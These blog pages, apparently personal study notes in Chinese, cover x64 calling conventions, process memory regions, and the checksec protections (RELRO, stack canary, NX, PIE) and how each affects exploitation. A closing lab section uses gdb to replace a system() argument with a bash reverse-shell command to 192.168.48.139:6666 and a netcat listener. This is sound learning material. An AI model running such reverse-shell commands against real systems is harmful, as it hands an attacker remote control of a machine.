x64:参数依次放入RCX、RDX、R8、R9超过参数寄存器数量后,继续使用栈传递,返回值通常存储在RAX寄存器兼容模式:运行32位程序64位处理器支持在兼容模式下运行32位程序Windows使用WOW64(Windows on Windows 64)子系统完成兼容Linux可以安装32位动态链接库或运行在兼容模式内核下完成支持CPU在进入兼容模式时,将只启用前32位寄存器位宽和寻址简单代码分析x86_64寄存器#include <stdio.h> long add(long a, long b, long c, long d, long e, long f) { return a+b+c+d+e+f; } int main() { long result = add(1,2,3,4,5,6); printf("Result:%ld",result); return 0; }编译指令:gcc -g x64_test.c -o x64_test调试:在add函数中查看RDI、RSI、RDX、RCX、R8、R9的值使用layout reg或info reg可以实时查看寄存器变化可以看到这边的x64位的程序传递参数先传递到寄存器的地位R9、R8、RCX、RDX、RSI、RDI,途中显示的r9d、r8d、ecx、edx、esi、edi都是32位的子寄存器此外rip替代eip,一直指示着下一段要执行代码的地址进行两两相加,值存放到RDX中最终结果传递到RAX中接下来就是在调用printf的时候将两个参数放入RSI和RDI了
2025年09月06日
1 阅读
0 评论
0 点赞
2025-09-05
虚拟地址和内存区域说明
虚拟地址空间基础简要说明当一个程序运行时,操作系统会为它分配一个虚拟地址空间,划分多个区域。像是我们常规使用objdump查看反汇编的部分就是代码段->.textobjdump -d test或者使用另一种查看方式objdump -D test -j .text不加-j的话就是所有段都查看objdump -D test内存区域详细说明栈-Stack由系统自动管理分配还是释放,Stack存放局部变量、返回地址、函数调用记录。其结构属于后进先出(LIFO)结构特点:空间小、效率高示例代码:void foo() { int x = 10; } int main() { foo(); return 0; }此时栈的状态如下图所示栈溢出:调用太多函数或者申请超大局部变量,造成的栈溢出堆-Heap通过malloc、new等API函数手动分配/释放,用于存储跨函数、跨生命周期的数据特点:容量大,但管理开销也比较大示例代码:int *p = malloc(100);内存泄露:若未释放(free)申请的内存,则会造成内存泄露数据段-.data存储已初始化的全局变量、静态变量示例代码:#include <stdio.h> int x=10; int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; }可以看到变量x确实被赋值为10,且存储于.data段BSS段存储未初始化的全局变量、静态变量,程序启动时会自动清零示例代码:#include <stdio.h> int x; static int y; int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; }代码段-.text存储程序指令,通常是只读的,防止被篡改(但是其实我们多少都能改点)代码演示#include <stdio.h> #include <stdlib.h> int g = 10; // .data int x; // .bss int main(){ int a = 10; // stack-栈 int *p = malloc(4); // 变量 p 在栈上,malloc返回的堆指针指向堆内存 printf("g:%d\r\na:%d\r\n", g, a); x = 90; return 0; }数据段和bss段代码段真实情况下:分配地址是这个注意:运行中的内存地址并非固定的,如果是固定的会有相应的标识符显示checksec安全机制解析checksec 命令用于检查二进制程序的安全保护机制# 安装pwntools,他包含了checksec pip install pwntools检查是否为动态内存地址checksec --file test当PIE为enabled的时候就是动态加载的,当他为No PIE的时候就是固定内存地址,这点我们通过反汇编也能看出来1. Arch: i386-32-little含义:程序的架构信息。i386-32:32 位 x86 架构(32 位程序,寄存器为 eax、ebx 等,指针长度 4 字节)。little:小端字节序(数据的低字节存储在低地址,x86 架构默认)。影响:漏洞利用时需使用对应架构的指令和地址长度(如 32 位地址为 4 字节)。2. RELRO: Partial RELRO含义:RELRO(Relocation Read-Only,重定位只读)是一种保护机制,控制程序的 GOT(全局偏移表) 是否可写。Partial RELRO:部分重定位只读。GOT 表的前半部分(早期绑定的符号)只读,但后半部分(延迟绑定的符号,如 printf@plt、system@plt)仍可写。Full RELRO:完全重定位只读。整个 GOT 表在程序启动时被标记为只读,无法修改。影响: Partial RELRO 下,攻击者可能通过修改 GOT 表(如 system@plt 的入口)实现漏洞利用(如 GOT 劫持);而 Full RELRO 可完全阻止这种攻击。3. Stack: No canary found含义:栈保护机制(Stack Canary)的状态。No canary found:未启用栈保护。程序在函数调用时,不会在栈上插入 “金丝雀”(随机值)来检测栈溢出。Canary found:启用栈保护。函数栈帧中会插入一个随机值(金丝雀),函数返回前会检查该值是否被修改,若被修改则触发程序崩溃,阻止栈溢出攻击。影响: 未启用栈保护时,缓冲区溢出漏洞可能直接覆盖返回地址,实现代码执行;启用后则难以直接溢出修改返回地址。4. NX: NX enabled含义:NX(No-eXecute,不可执行)是栈 / 堆执行权限的保护机制。NX enabled:启用 NX 保护。栈和堆内存被标记为 “不可执行”(仅允许读 / 写,不允许执行指令)。NX disabled:禁用 NX 保护。栈和堆内存可执行,攻击者注入的 shellcode 可直接执行。影响: NX 启用时,传统的 “栈上注入 shellcode 并执行” 的方法失效,需改用 ret2libc(调用系统库函数)等技术;禁用时可直接执行注入的代码。5. PIE: No PIE (0x8048000)含义:PIE(Position-Independent Executable,位置无关可执行文件)是地址随机化机制。No PIE:未启用 PIE。程序加载到内存时,代码段、数据段的地址是固定的(如输出中的 0x8048000 是代码段起始地址)。PIE enabled:启用 PIE。程序每次启动时,代码段、数据段的地址会被随机化(受 ASLR 保护),无法提前预知。影响: 未启用 PIE 时,函数(如 system)和全局变量的地址是固定的,漏洞利用时可直接硬编码这些地址;启用后地址随机,需通过信息泄露获取地址。6. Stripped: No含义:程序是否去除了符号表(调试信息)。No:未去除符号表。程序中保留了函数名、变量名等调试信息(如 main、printf 等函数名可见)。Yes:已去除符号表。调试信息被删除,gdb 中无法直接通过函数名查看地址,需通过反汇编分析。影响: 未去除符号表时,调试和漏洞分析更方便(可直接用函数名设置断点);去除后分析难度增加。补充RWX Segment:如果程序存在可读可写可执行(RWX)的内存段,就可能存在攻击者注入代码并执行的空间。SHSTK/IBT:是现代 CPU 的硬件保护机制,用于防止 ROP(返回导向编程)、JOP(跳转导向编程)这类攻击。CTF的一些可执行程序编译:gcc -m32 -fno-stack-protector -no-pie -z execstack test.c -o test_v2反弹shell实验尝试对示例1和示例2代码进行反弹shell的尝试,观察代码位置改变是否会影响指令地址、行为分析示例代码1:#include <stdio.h> #include <stdlib.h> int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); system("whoami"); return 0; }b *main+87 run n set {char[53]}($ebx-0x198a)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'" x/s $eax nnc -lvvp 6666示例代码2:#include <stdio.h> #include <stdlib.h> int main(){ int a=10; int b=20; int c=a+b; system("whoami"); printf("%d+%d=%d\n", a, b, c); return 0; }发现system函数的调用地址并没有因为代码位置的变化而变化b *main+63 run n x/s $ebx-0x1994 set {char[53]}($ebx-0x1994)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'" x/s $ebx-0x1994 nnc -lvvp 6666
2025年09月05日
1 阅读
0 评论
0 点赞
1
2
3
...
5